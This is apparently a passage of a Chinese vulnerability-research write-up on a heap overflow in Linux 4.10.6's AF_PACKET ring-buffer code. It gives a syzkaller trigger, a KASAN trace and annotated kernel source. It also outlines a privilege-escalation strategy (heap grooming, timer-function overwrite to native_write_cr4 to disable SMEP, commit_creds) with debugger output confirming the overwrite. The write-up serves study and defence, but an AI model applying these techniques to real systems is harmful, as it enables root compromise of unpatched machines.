影響版本:Linux-v4.10.6 由syzkaller發現。實際v4.10.10未修復,v4.10.11已修復。
測試版本:Linux-v4.10.6 測試環境下載地址
編譯選項: CONFIG_PACKET=y(啟用AF_PACKET套接字選項) CONFIG_USER_NS=y(用戶命名空間—CAP_NET_RAW
權限) CONFIG_SLAB=y
General setup
---> Choose SLAB allocator (SLUB (Unqueued Allocator))
---> SLAB
在編譯時將.config
中的CONFIG_E1000
和CONFIG_E1000E
,變更為=y。參考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.10.6.tar.xz
$ tar -xvf linux-4.10.6.tar.xz
# KASAN: 設置 make menuconfig 設置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 編譯出的bzImage目錄:/arch/x86/boot/bzImage。
漏洞描述:net/packet/af_packet.c
中的packet_set_ring()
函數沒有正確檢查塊size,長度判斷條件錯誤,導致堆溢出,需要CAP_NET_RAW
權限。在啟用TPACKET_V3版本的環形緩沖區(ring buffer
)條件下,我們可以通過為AF_PACKET套接字的PACKET_RX_RING
選項提供特定的參數來觸發這個漏洞。
// net/packet/af_packet.c
@@ -4193,8 +4193,8 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
goto out;
if (po->tp_version >= TPACKET_V3 &&
- (int)(req->tp_block_size -
- BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
+ req->tp_block_size <=
+ BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv)) // 在將tp_sizeof_priv傳遞給BLK_PLUS_PRIV之前,將其轉化為 uint64 類型值
goto out;
if (unlikely(req->tp_frame_size < po->tp_hdrlen +
po->tp_reserve))
// 如果不轉化為 uint64 類型值,當tp_sizeof_priv接近于unsigned int的最大值時,在處理BLK_PLUS_PRIV時還是會出現溢出問題。
#define BLK_PLUS_PRIV(sz_of_priv)
(BLK_HDR_LEN + ALIGN((sz_of_priv), V3_ALIGNMENT))
保護機制:開啟 SMEP / SMAP,未開啟KASLR。繞過KASLR的方法還是通過dmesg,并不通用,所以我測試時關閉了KASLR。
利用總結:
- 1.首先進行堆風水,消耗
kmalloc-2048
和頁面分配器產生的0x8000內存塊,分別利用packet_sock
結構(512個,每創建1個數據包套接字,內核就會分配一個packet_sock
結構)和ring buffer
中的內存塊(1024個,packet_sock->rx_ring->pg_vec
—— 指向存內存塊的數組)。 - 2.需要2次觸發溢出漏洞,利用內存塊中的私有區域來溢出
packet_sock
結構。 - 3.繞過SMEP/SMAP:劫持
packet_sock->rx_ring->prb_bdqc->retire_blk_timer->func
為native_write_cr4()
,參數為retire_blk_timer->data == 0x407f0
。 - 4.提權: 覆蓋
packet_sock->xmit
函數指針,它會在發送數據時被調用,在關閉SMEP后返回到用戶空間執行commit_creds(prepare_kernel_cred(0))
實現提權。
一、背景知識介紹
1-1 Syzkaller簡介
調用模板設置:Syzkaller系統調用模板,可參考sys/sys.txt
中給出的樣例,或者sys/README.md
給出的語法信息。以下示例用于檢測AF_PACKET套接字的漏洞:
resource sock_packet[sock] // (1)聲明一個新的sock_packet類型。該類型繼承自現有的sock類型,對于使用sock類型作為參數的系統調用而言,syzkaller也會在sock_packet類型的套接字上使用這種系統調用。
define ETH_P_ALL_BE htons(ETH_P_ALL)
socket$packet(domain const[AF_PACKET], type flags[packet_socket_type], proto const[ETH_P_ALL_BE]) sock_packet // (2)聲明一個新的系統調用:socket$packet。“$”符號之前的部分作用是告訴syzkaller應該使用哪種系統調用,而“$”符號之后的部分用來區分同一種系統調用的不同類型。這種方式在處理類似ioctl的系統調用時非常有用。“socket$packet”系統調用會返回一個sock_packet套接字。
packet_socket_type = SOCK_RAW, SOCK_DGRAM
setsockopt$packet_rx_ring(fd sock_packet, level const[SOL_PACKET], optname const[PACKET_RX_RING], optval ptr[in, tpacket_req_u], optlen len[optval]) // (3)聲明 setsockopt$packet_rx_ring
setsockopt$packet_tx_ring(fd sock_packet, level const[SOL_PACKET], optname const[PACKET_TX_RING], optval ptr[in, tpacket_req_u], optlen len[optval]) // (4)聲明 setsockopt$packet_tx_ring。 (3)(4)會在sock_packet套接字上設置PACKET_RX_RING以及PACKET_TX_RING套接字選項。都使用了tpacket_req_u聯合體(union)作為套接字選項的值。tpacket_req_u聯合體包含兩個結構體成員,分別為tpacket_req以及tpacket_req3。
tpacket_req {
tp_block_size int32
tp_block_nr int32
tp_frame_size int32
tp_frame_nr int32
}
tpacket_req3 {
tp_block_size int32
tp_block_nr int32
tp_frame_size int32
tp_frame_nr int32
tp_retire_blk_tov int32
tp_sizeof_priv int32
tp_feature_req_word int32
}
tpacket_req_u [
req tpacket_req
req3 tpacket_req3
] [varlen]
管理配置選項:示例如下。
"enable_syscalls": [
"socket$packet", "socketpair$packet", "accept$packet", "accept4$packet", "bind$packet", "connect$packet", "sendto$packet", "recvfrom$packet", "getsockname$packet", "getpeername$packet", "listen", "setsockopt", "getsockopt", "syz_emit_ethernet"
],
使用以上描述信息和配置選項進行fuzz之后,syzkaller觸發bug,觸發漏洞的系統調用如下:
mmap(&(0x7f0000000000/0xc8f000)=nil, (0xc8f000), 0x3, 0x32, 0xffffffffffffffff, 0x0)
r0 = socket$packet(0x11, 0x3, 0x300)
setsockopt$packet_int(r0, 0x107, 0xa, &(0x7f000061f000)=0x2, 0x4)
setsockopt$packet_rx_ring(r0, 0x107, 0x5, &(0x7f0000c8b000)=@req3={0x10000, 0x3, 0x10000, 0x3, 0x4, 0xfffffffffffffffe, 0x5}, 0x1c)
KASAN報告如下,由于訪問點距離數據塊邊界非常遠,因此分配和釋放棧沒有對應溢出對象。
==================================================================
BUG: KASAN: slab-out-of-bounds in prb_close_block net/packet/af_packet.c:808
Write of size 4 at addr ffff880054b70010 by task syz-executor0/30839
CPU: 0 PID: 30839 Comm: syz-executor0 Not tainted 4.11.0-rc2+ #94
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
Call Trace:
__dump_stack lib/dump_stack.c:16 [inline]
dump_stack+0x292/0x398 lib/dump_stack.c:52
print_address_description+0x73/0x280 mm/kasan/report.c:246
kasan_report_error mm/kasan/report.c:345 [inline]
kasan_report.part.3+0x21f/0x310 mm/kasan/report.c:368
kasan_report mm/kasan/report.c:393 [inline]
__asan_report_store4_noabort+0x2c/0x30 mm/kasan/report.c:393
prb_close_block net/packet/af_packet.c:808 [inline]
prb_retire_current_block+0x6ed/0x820 net/packet/af_packet.c:970
__packet_lookup_frame_in_block net/packet/af_packet.c:1093 [inline]
packet_current_rx_frame net/packet/af_packet.c:1122 [inline]
tpacket_rcv+0x9c1/0x3750 net/packet/af_packet.c:2236
packet_rcv_fanout+0x527/0x810 net/packet/af_packet.c:1493
deliver_skb net/core/dev.c:1834 [inline]
__netif_receive_skb_core+0x1cff/0x3400 net/core/dev.c:4117
__netif_receive_skb+0x2a/0x170 net/core/dev.c:4244
netif_receive_skb_internal+0x1d6/0x430 net/core/dev.c:4272
netif_receive_skb+0xae/0x3b0 net/core/dev.c:4296
tun_rx_batched.isra.39+0x5e5/0x8c0 drivers/net/tun.c:1155
tun_get_user+0x100d/0x2e20 drivers/net/tun.c:1327
tun_chr_write_iter+0xd8/0x190 drivers/net/tun.c:1353
call_write_iter include/linux/fs.h:1733 [inline]
new_sync_write fs/read_write.c:497 [inline]
__vfs_write+0x483/0x760 fs/read_write.c:510
vfs_write+0x187/0x530 fs/read_write.c:558
SYSC_write fs/read_write.c:605 [inline]
SyS_write+0xfb/0x230 fs/read_write.c:597
entry_SYSCALL_64_fastpath+0x1f/0xc2
RIP: 0033:0x40b031
RSP: 002b:00007faacbc3cb50 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 000000000000002a RCX: 000000000040b031
RDX: 000000000000002a RSI: 0000000020002fd6 RDI: 0000000000000015
RBP: 00000000006e2960 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000708000
R13: 000000000000002a R14: 0000000020002fd6 R15: 0000000000000000
Allocated by task 30534:
save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59
save_stack+0x43/0xd0 mm/kasan/kasan.c:513
set_track mm/kasan/kasan.c:525 [inline]
kasan_kmalloc+0xad/0xe0 mm/kasan/kasan.c:617
kasan_slab_alloc+0x12/0x20 mm/kasan/kasan.c:555
slab_post_alloc_hook mm/slab.h:456 [inline]
slab_alloc_node mm/slub.c:2720 [inline]
slab_alloc mm/slub.c:2728 [inline]
kmem_cache_alloc+0x1af/0x250 mm/slub.c:2733
getname_flags+0xcb/0x580 fs/namei.c:137
getname+0x19/0x20 fs/namei.c:208
do_sys_open+0x2ff/0x720 fs/open.c:1045
SYSC_open fs/open.c:1069 [inline]
SyS_open+0x2d/0x40 fs/open.c:1064
entry_SYSCALL_64_fastpath+0x1f/0xc2
Freed by task 30534:
save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59
save_stack+0x43/0xd0 mm/kasan/kasan.c:513
set_track mm/kasan/kasan.c:525 [inline]
kasan_slab_free+0x72/0xc0 mm/kasan/kasan.c:590
slab_free_hook mm/slub.c:1358 [inline]
slab_free_freelist_hook mm/slub.c:1381 [inline]
slab_free mm/slub.c:2963 [inline]
kmem_cache_free+0xb5/0x2d0 mm/slub.c:2985
putname+0xee/0x130 fs/namei.c:257
do_sys_open+0x336/0x720 fs/open.c:1060
SYSC_open fs/open.c:1069 [inline]
SyS_open+0x2d/0x40 fs/open.c:1064
entry_SYSCALL_64_fastpath+0x1f/0xc2
Object at ffff880054b70040 belongs to cache names_cache of size 4096
The buggy address belongs to the page:
page:ffffea000152dc00 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0
flags: 0x500000000008100(slab|head)
raw: 0500000000008100 0000000000000000 0000000000000000 0000000100070007
raw: ffffea0001549a20 ffffea0001b3cc20 ffff88003eb44f40 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff880054b6ff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff880054b6ff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff880054b70000: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
^
ffff880054b70080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff880054b70100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
1-2 AF_PACKET套接字簡介
AF_PACKET套接字:用戶可以使用AF_PACKET在設備驅動層(物理傳輸層)發送或者接受數據包。這樣用戶就能在物理層實現自己的協議,也可以嗅探包含以太網和更高層協議頭部的數據包。為了創建AF_PACKET套接字,進程必須在用戶命名空間中具備CAP_NET_RAW
權限,以便管理進程的網絡命名空間。如果內核啟用了非特權用戶命名空間,那么非特權用戶就能創建數據包套接字。
環形緩沖區:進程可以使用send和recv這兩個系統調用在數據包套接字上發送和接受數據包。然而,數據包套接字提供了一個環形緩沖區(ring buffer
)方式使數據包的發送和接受更為高效,這個環形緩沖區可以在內核和用戶空間之間共享使用。我們可以使用PACKET_TX_RING
以及PACKET_RX_RING
套接字選項創建環形緩沖區。之后,用戶可以使用內存映射方式(mmap)映射這個緩沖區,這樣包數據就能直接讀取和寫入到這個緩沖區中。 內核在處理環形緩沖區時有幾種不同的處理方式,用戶可以使用PACKET_VERSION
這個套接字選項選擇具體使用的方式。
AF_PACKET應用示例:tcpdump工具。使用tcpdump嗅探某個接口上的所有數據包時,處理流程如下所示:
# strace tcpdump -i eth0
... // (1)創建一個套接字:socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
socket(PF_PACKET, SOCK_RAW, 768) = 3
... // (2)套接字綁定到eth0接口;
bind(3, {sa_family=AF_PACKET, proto=0x03, if2, pkttype=PACKET_HOST, addr(0)={0, }, 20) = 0
... // (3)通過PACKET_VERSION套接字選項,將環形緩沖區版本設置為TPACKET_V2;
setsockopt(3, SOL_PACKET, PACKET_VERSION, [1], 4) = 0
... // (4)使用PACKET_RX_RING套接字選項,創建一個環形緩沖區;
setsockopt(3, SOL_PACKET, PACKET_RX_RING, {block_size=131072, block_nr=31, frame_size=65616, frame_nr=31}, 16) = 0
... // (5)將環形緩沖區映射到用戶空間,就可以在用戶空間直接讀取這些數據包。
mmap(NULL, 4063232, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7f73a6817000
... // 在這之后,內核開始將來自于eth0接口的所有數據包存入環形緩沖區中,然后tcpdump會從用戶空間中對應的映射區域讀取這些數據包。
1-3 環形緩沖區——ring buffer
說明:主要以v4.10.6版本的內核為例,只關注TPACKET_V3
版的PACKET_RX_RING
選項,忽略PACKET_TX_RING
選項。
創建環形緩沖區的用戶參數設置——tpacket_req3
:環形緩沖區用于存放數據包,每個數據包會存放在一個單獨的幀(frame)中,多個幀會被分組形成內存塊。在TPACKET_V3
環形緩沖區中,幀的大小是不固定的,只要幀能夠存放到內存塊中,它的大小就可以取任意值。 為了使用PACKET_RX_RING
套接字選項創建TPACKET_V3
環形緩沖區,用戶必須為環形緩沖區提供準確的參數值。這些參數會通過一個指向tpacket_req3
結構體的指針傳遞給setsockopt
調用,該結構體的定義如下所示:
struct tpacket_req3 {
unsigned int tp_block_size; /* Minimal size of contiguous block */ // 每個內存塊的大小
unsigned int tp_block_nr; /* Number of blocks */ // 內存塊的個數
unsigned int tp_frame_size; /* Size of frame */ // 每個幀的大小,TPACKET_V3會忽視這個字段
unsigned int tp_frame_nr; /* Total number of frames */ // 幀的個數,TPACKET_V3會忽視這個字段
unsigned int tp_retire_blk_tov; /* timeout in msecs */ // 超時時間(毫秒),超時后即使內存塊沒有被數據完全填滿也會被內核停用(參考下文),以便用戶能盡快讀取數據
unsigned int tp_sizeof_priv; /* offset to private data area */ // 每個內存塊中私有區域的大小。用戶可以使用這個區域存放與每個內存塊有關的任何信息;
unsigned int tp_feature_req_word; // 一組標志(目前實際上只有一個標志),可以用來啟動某些附加功能。
};
內存塊的頭部——tpacket_block_desc
:每個內存塊都有一個頭部與之相關,也即tpacket_block_desc
結構,放在內存塊的開頭部位。通常,內核會將數據包存儲在某個內存塊中,直到該內存塊被填滿,之后內核會將block_status
字段設置為TP_STATUS_USER
。之后用戶就可以從內存塊中讀取所需的數據,讀取完畢后,會將block_status
設置為TP_STATUS_KERNEL
,以便釋放內存塊,歸還給內核使用。
tpacket_block_desc
-> tpacket_bd_header_u
-> tpacket_hdr_v1
struct tpacket_block_desc {
__u32 version;
__u32 offset_to_priv;
union tpacket_bd_header_u hdr;
};
union tpacket_bd_header_u {
struct tpacket_hdr_v1 bh1;
};
struct tpacket_hdr_v1 {
__u32 block_status; // 標識內存塊目前是否正在被內核使用, 能否提供給用戶讀取
__u32 num_pkts;
__u32 offset_to_first_pkt;
...
};
幀的頭部——tpacket3_hdr
:每個幀也有一個與之關聯的頭部,頭部結構為tpacket3_hdr
,其中tp_next_offset
字段指向同一個內存塊中的下一個幀。
struct tpacket3_hdr {
__u32 tp_next_offset; // 指向同一個內存塊中的下一個幀
__u32 tp_sec;
__u32 tp_nsec;
__u32 tp_snaplen;
__u32 tp_len;
__u32 tp_status;
__u16 tp_mac;
__u16 tp_net;
/* pkt_hdr variants */
union {
struct tpacket_hdr_variant1 hv1;
};
__u8 tp_padding[8];
};
內核vs用戶內存共享:當某個內存塊完全被數據填滿時(即新的數據包不會填充到剩余的空間中),內存塊就會被關閉然后釋放到用戶空間中(也就是說被內核停用)。由于通常情況下,用戶希望盡可能快地看到數據包,因此內核有可能會提前釋放某個內存塊,即使該內存塊還沒有被數據完全填滿。內核會維護一個計時器,使用tp_retire_blk_tov
參數控制超時時間,當超時發生時就會停用當前的內存塊。
還有一種方式,那就是指定每個塊的私有區域,內核不會觸碰這個私有區域,用戶可以使用該區域存儲與內存塊有關的任何信息。這個區域的大小通過tp_sizeof_priv
參數進行傳遞。
內存塊&幀的關系:內存塊中有多個幀,幀用于存放數據包。
-
packet_sock
(rx_ring
) ->packet_ring_buffer
(pg_vec
) ->pgv
(*buffer
指向存內存塊的數組) ->tpacket_block_desc
(內存塊的頭部) ->tpacket3_hdr
(幀的頭部)
1-4 AF_PACKET套接字的實現
(1)結構體定義
packet_sock
結構體:每創建一個數據包套接字,內核就會分配與之對應的一個packet_sock
結構體對象。
函數指針:packet_sock
(rx_ring
) -> packet_ring_buffer
(prb_bdqc
) -> tpacket_kbdq_core
(retire_blk_timer
) -> timer_list
(含函數指針*function
)
內存塊&幀:packet_sock
(rx_ring
) -> packet_ring_buffer
(pg_vec
) -> pgv
(*buffer
指向存內存塊的數組) -> tpacket_block_desc
(內存塊的頭部) -> tpacket3_hdr
(幀的頭部)
struct packet_sock {
/* struct sock has to be the first member of packet_sock */
struct sock sk;
struct packet_fanout *fanout;
union tpacket_stats_u stats;
struct packet_ring_buffer rx_ring; // 接收receive的環形緩沖區,通過setsockopt(..., PACKET_RX_RING, ...)創建。 // !!!如下
struct packet_ring_buffer tx_ring; // 傳輸transmit的環形緩沖區,通過setsockopt(..., PACKET_TX_RING, ...)創建。
...
enum tpacket_versions tp_version; // 環形緩沖區的版本,可通過 setsockopt(..., PACKET_VERSION, ...)設置版本。
...
int (*xmit)(struct sk_buff *skb);
struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
// packet_ring_buffer —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/internal.h#L56
struct packet_ring_buffer {
struct pgv *pg_vec; // 指向pgv結構體數組的一個指針,數組中的每個元素都保存了對某個內存塊的引用。每個內存塊實際上都是單獨分配的,沒有位于一個連續的內存區域中
...
struct tpacket_kbdq_core prb_bdqc; // 0x30 tpacket_kbdq_core結構體描述了環形緩沖區的當前狀態。 // !!!如下
};
struct pgv {
char *buffer;
};
// tpacket_kbdq_core —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/internal.h#L14
struct tpacket_kbdq_core {
...
unsigned short blk_sizeof_priv; // 包含每個內存塊所屬的私有區域的大小。 由用戶參數 tpacket_req3->tp_sizeof_priv 傳過來, unsigned int -> unsigned short
...
char *nxt_offset; // 指向當前活躍的內存塊的內部區域,表明下一個數據包的存放位置。
...
struct timer_list retire_blk_timer; // timer_list結構體,用來描述超時發生后停用當前內存塊的那個計時器
};
// timer_list —— https://elixir.bootlin.com/linux/v4.10.6/source/include/linux/timer.h#L12
struct timer_list {
struct hlist_node entry;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
u32 flags;
};
(2)設置環形緩沖區
內核使用packet_setsockopt()
函數處理數據包套接字的選項設置操作。當使用PACKET_VERSION
套接字選項時,內核就會將po->tp_version
參數的值設置為對應的值。接下來,使用PACKET_RX_RING
套接字選項,創建一個用于數據包接收的環形緩沖區(內核實際調用packet_set_ring()
函數完成該過程),詳細過程如下: packet_set_ring()
-> init_prb_bdqc()
-> prb_open_block()
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
{
...
// (1)首先,packet_set_ring() 函數會對給定的環形緩沖區參數執行一系列完整性檢查操作
err = -EINVAL;
if (unlikely((int)req->tp_block_size <= 0))
goto out;
if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
goto out;
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size -
BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0) // 漏洞點!!!!!!!!!!!!!!! 該檢查可繞過
goto out;
if (unlikely(req->tp_frame_size < po->tp_hdrlen +
po->tp_reserve))
goto out;
if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
goto out;
rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
if (unlikely(rb->frames_per_block == 0))
goto out;
if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
req->tp_frame_nr))
goto out;
// (2)分配環形緩沖區的內存塊空間。alloc_pg_vec() -> alloc_one_pg_vec_page() 使用內核頁分配器來分配內存塊(漏洞利用中用到了)
err = -ENOMEM;
order = get_order(req->tp_block_size);
pg_vec = alloc_pg_vec(req, order);
if (unlikely(!pg_vec))
goto out;
// (3)調用init_prb_bdqc()函數,創建一個接收數據包的TPACKET_V3環形緩沖區。
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u); // !!!!!!!!!!!!!!! <--------------------
break;
default:
break;
}
// init_prb_bdqc() —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L603
// 將環形緩沖區參數拷貝到環形緩沖區結構體中的prb_bdqc字段,在這些參數的基礎上計算其他一些參數值,設置停用內存塊的計時器,然后調用prb_open_block()函數初始化第一個內存塊。
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb); // 將環形緩沖區參數拷貝到環形緩沖區結構體中的prb_bdqc字段
struct tpacket_block_desc *pbd;
memset(p1, 0x0, sizeof(*p1));
p1->knxt_seq_num = 1;
p1->pkbdq = pg_vec;
pbd = (struct tpacket_block_desc *)pg_vec[0].buffer; // pbd指向第1個內存塊
p1->pkblk_start = pg_vec[0].buffer;
p1->kblk_size = req_u->req3.tp_block_size;
p1->knum_blocks = req_u->req3.tp_block_nr;
p1->hdrlen = po->tp_hdrlen;
p1->version = po->tp_version;
p1->last_kactive_blk_num = 0;
po->stats.stats3.tp_freeze_q_cnt = 0;
if (req_u->req3.tp_retire_blk_tov) // 設置停用內存塊的計時器
p1->retire_blk_tov = req_u->req3.tp_retire_blk_tov;
else
p1->retire_blk_tov = prb_calc_retire_blk_tmo(po,
req_u->req3.tp_block_size);
p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov);
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv; // 賦值 blk_sizeof_priv
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd); // 調用prb_open_block()函數初始化第一個內存塊 !!!!!!! <----------
}
// prb_open_block —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L840
// 設置 tpacket_kbdq_core 結構體中的 nxt_offset 字段,將其指向緊挨著每個內存塊私有區域的那個地址。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv); // pkc1->nxt_offset 指向私有區域之后的內存塊
...
}
(3)數據包接收——真正的溢出點
內核調用tpacket_rcv()
函數來接收包,每當內核收到一個新的數據包時,內核應該會把它保存到環形緩沖區中。關鍵函數是__packet_lookup_frame_in_block()
,用于計算當前環形緩沖區中可接收數據的起始地址,這個函數的主要工作為:
1.檢查當前活躍的內存塊是否有充足的空間存放數據包;
2.如果空間足夠,保存數據包到當前的內存塊,然后返回;
3.如果空間不夠,就調度下一個內存塊,將數據包保存到下一個內存塊。
計算數據填充地址:tpacket_rcv()
-> packet_current_rx_frame()
-> __packet_lookup_frame_in_block()
。
-
__packet_lookup_frame_in_block()
會返回當前緩沖區中可接收數據的起始地址,由于curr+TOTAL_PKT_LEN_INCL_ALIGN(len) > end
,之后就會從第二個塊中找空余的空間(這也是上面創建兩個塊的原因)。 -
blk_sizeof_priv = 0x8000 - BLK_HDR_LEN - macoff + 2048 + TIMER_OFFSET - 8
會在計算p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv)
時使p1->max_frame_len
為一個很大的值以此來繞過后面的一些檢測。 -
h.raw = pg_vec[1].buffer + blk_sizeof_priv + BLK_HDR_LEN = pg_vec[1].buffer - macoff + 2048 + TIMER_OFFSET - 8
,調用skb_copy_bits(skb, 0, h.raw + macoff, snaplen)
把數據復制到緩存區時的起始地址為pg_vec[1].buffer + 2048 + TIMER_OFFSET - 8
,跳過后面緊跟的一個packet_sock
,這樣最終的復制起始地址為后面緊跟的第二個packet_sock + TIMER_OFFSET - 6
(由于對齊導致是-6
,為了把一些值置為0)
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt, struct net_device *orig_dev)
{
...
h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); // (1)計算傳入的 tp_sizeof_priv, 以控制偽造寫入的地址 !!!!
...
skb_copy_bits(skb, 0, h.raw + macoff, snaplen); // (2)拷貝時產生溢出 !!!!!!!!!!!!!!
...
}
static void *packet_current_rx_frame(struct packet_sock *po, // (1-2)
struct sk_buff *skb,
int status, unsigned int len)
{
char *curr = NULL;
switch (po->tp_version) {
...
case TPACKET_V3:
return __packet_lookup_frame_in_block(po, skb, status, len);
...
}
}
// __packet_lookup_frame_in_block —— 返回當前緩沖區中可接收數據的起始地址 // (1-3)
static void *__packet_lookup_frame_in_block(struct packet_sock *po,
struct sk_buff *skb,
int status,
unsigned int len
)
{
struct tpacket_kbdq_core *pkc;
struct tpacket_block_desc *pbd;
char *curr, *end;
pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
...
curr = pkc->nxt_offset;
pkc->skb = skb;
end = (char *)pbd + pkc->kblk_size;
/* first try the current block */
if (curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end) { // (1-4)不滿足本條件,所以會從第2個塊中找空余的空間。
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
/* Ok, close the current block */
prb_retire_current_block(pkc, po, 0);
/* Now, try to dispatch the next block */
curr = (char *)prb_dispatch_next_block(pkc, po); // 返回第2個塊
if (curr) {
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
...
}
static void *prb_dispatch_next_block(struct tpacket_kbdq_core *pkc,
struct packet_sock *po)
{
...
prb_open_block(pkc, pbd);
return (void *)pkc->nxt_offset;
}
填充數據:tpacket_rcv()
-> skb_copy_bits()
。 找到數據memcpy的位置,查看是否覆蓋上了偽造的數據。
int skb_copy_bits(const struct sk_buff *skb, int offset, void *to, int len)
{
int start = skb_headlen(skb);
struct sk_buff *frag_iter;
int i, copy;
if (offset > (int)skb->len - len)
goto fault;
/* Copy header. */
if ((copy = start - offset) > 0) {
if (copy > len)
copy = len;
skb_copy_from_linear_data_offset(skb, offset, to, copy); // (2-1) memcpy(to, skb->data + offset, len); 開始拷貝用戶傳入的數據,在這里下斷點,查看是否覆蓋了偽造的數據
if ((len -= copy) == 0)
return 0;
offset += copy;
to += copy;
}
...
if ((copy = end - offset) > 0) {
u8 *vaddr;
if (copy > len)
copy = len;
vaddr = kmap_atomic(skb_frag_page(f));
memcpy(to,
vaddr + f->page_offset + offset - start,
copy);
// 查看溢出覆蓋 retire_blk_timer 前后的變化,是否成功覆蓋 retire_blk_timer.func
/exp $ cat /tmp/kallsyms | grep skb_copy_bits
ffffffff81796550 T skb_copy_bits
pwndbg> x /100i 0xffffffff81796550
0xffffffff817965ae <skb_copy_bits+94>: call 0xffffffff814204c0 <memcpy> // 下斷點,dest地址即位于 packet_sock中
0xffffffff817965b3 <skb_copy_bits+99>: sub ebx,r13d
$ b *0xffffffff817965ae
? 0xffffffff817965ae <skb_copy_bits+94> call memcpy <0xffffffff814204c0>
dest: 0xffff88001a608b82 ?— 0 // 0xffff88001a608800 即為 packet_sock 地址
src: 0xffff88001cff7610 ?— 0
n: 0x4e
$ ni
$ p (((*(struct packet_sock*)0xffff88001a608800)->rx_ring)->prb_bdqc)->retire_blk_timer
pwndbg> p (((*(struct packet_sock*)0xffff88001a608800)->rx_ring)->prb_bdqc)->retire_blk_timer
$2 = {
entry = {
next = 0x0 <irq_stack_union>,
pprev = 0x0 <irq_stack_union>
},
expires = 0,
function = 0xffffffff81066600 <native_write_cr4>, // 正確覆蓋了 retire_blk_timer.func
data = 264176,
flags = 1,
start_pid = 0,
start_site = 0x0 <irq_stack_union>,
start_comm = '\000' <repeats 15 times>
}
pwndbg> b *0xffffffff81066600
Breakpoint 2 at 0xffffffff81066600: file ./arch/x86/include/asm/special_insns.h, line 75.
二、漏洞分析
// https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L4179
// 該檢查可繞過
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size -
BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
goto out;
漏洞:這個檢查的目的是確保內存塊頭部加上每個內存塊私有數據的大小不超過內存塊自身的大小。保證內存塊中有足夠的空間,來存放數據包。但是,如果我們設置了req_u->req3.tp_sizeof_priv
的高位字節,那么將這個賦值表達式轉換為整數(int)則會導致一個非常大的正整數值(而不是負值)。如下所示:
A = req->tp_block_size = 4096 = 0x1000
B = req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
(int)0x7fffffd0 = 0x7fffffd0 > 0
之后,在init_prb_bdqc()
函數中,當req_u->req3.tp_sizeof_priv
(unsigned int
)被賦值到p1->blk_sizeof_priv
(unsigned short
)時(參考前文提到的代碼片段),它會被分割成兩個低位字節,而后者的類型是unsigned short。因此我們可以利用這個bug,將tpacket_kbdq_core
結構體中的blk_sizeof_priv
